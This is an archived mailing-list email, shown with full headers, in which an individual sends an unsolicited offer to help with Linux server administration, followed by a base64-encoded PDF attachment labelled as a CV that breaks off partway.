3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=FREEMAIL_FROM,SUBJ_ALL_CAPS, T_DKIM_INVALID,T_FREEMAIL_DOC_PDF autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C8DA47F3F for ; Tue, 30 Jul 2013 02:43:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2BD6CAC002 for ; Tue, 30 Jul 2013 00:43:08 -0700 (PDT) X-ASG-Debug-ID: 1375170185-04cbb02c3e211050001-NocioJ Received: from mail-wg0-f65.google.com (mail-wg0-f65.google.com [74.125.82.65]) by cuda.sgi.com with ESMTP id CmmuOw4Cshw5HlgZ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 30 Jul 2013 00:43:05 -0700 (PDT) X-Barracuda-Envelope-From: klevinkona@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.65 Received: by mail-wg0-f65.google.com with SMTP id b13so1806395wgh.8 for ; Tue, 30 Jul 2013 00:43:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type; bh=UBesxvSc4Bf5yvzzsmg1V2AtJ1fXT5T6La9VLuQJ1y8=; b=zqiKAcj9k/XiIXHdXOtDbp+G5ev0NqOg2ZxUybujcrtrMcsGvc6G843j9x5kHMYXoR 19UzCVRSLi7qw42U7m/s8FI3bUZNWkxhVMlg4NsWp6ndFDPAzkBtWR51fldSCdncjQBd 6yVCk7rqs/cwKrTi87uZcXcB0Ev81D4JlswGqBzQhPJPhFSk0nZqNwSAGHietILngmWj i5/hcUwIOQ5TNroaWnDH8M1uuA6GqPb5BDsh6DSVoazJ0TNEPcC1OcQVQncLIS7bNz26 ww+zkMy6MbJD7h9jFRC1e1oAUPC9seJ/GLNShpR9+a5mMHumN+EVn+zosKeV7zxBoU6S N8ZQ== X-Received: by 10.194.157.198 with SMTP id wo6mr45780943wjb.60.1375170184788; Tue, 30 Jul 2013 00:43:04 -0700 (PDT) Received: from [192.168.53.75] ([217.21.145.48]) by mx.google.com with ESMTPSA id hb2sm26593196wib.0.2013.07.30.00.42.56 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 30 Jul 2013 00:43:03 -0700 (PDT) Message-ID: <51F76E7F.8060300@gmail.com> Date: Tue, 30 Jul 2013 09:42:55 +0200 From: Klevin Kona User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130623 Thunderbird/17.0.7 MIME-Version: 1.0 To: klevinkona@gmail.com Subject: G'DAY SIR! Content-Type: multipart/mixed; boundary="------------030702080204010104010004" X-ASG-Orig-Subj: G'DAY SIR! X-Barracuda-Connect: mail-wg0-f65.google.com[74.125.82.65] X-Barracuda-Start-Time: 1375170185 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137431 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain This is a multi-part message in MIME format. --------------030702080204010104010004 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit G'DAY SIR! Sorry for this unauthorizes email, i find your email from debian.org. My intention for this email is to inform you for my desire and skills to provide support and to work with you with or without salary, my intention is to learn recevie more credit for my carrier in linux server administration. If you need help with your work please do not esitate to contact me. in attached my cv if you are interesed on this proposal. Sincerely Klevin --------------030702080204010104010004 Content-Type: application/pdf; name="klevin Kona Cv.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="klevin Kona Cv.pdf" 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 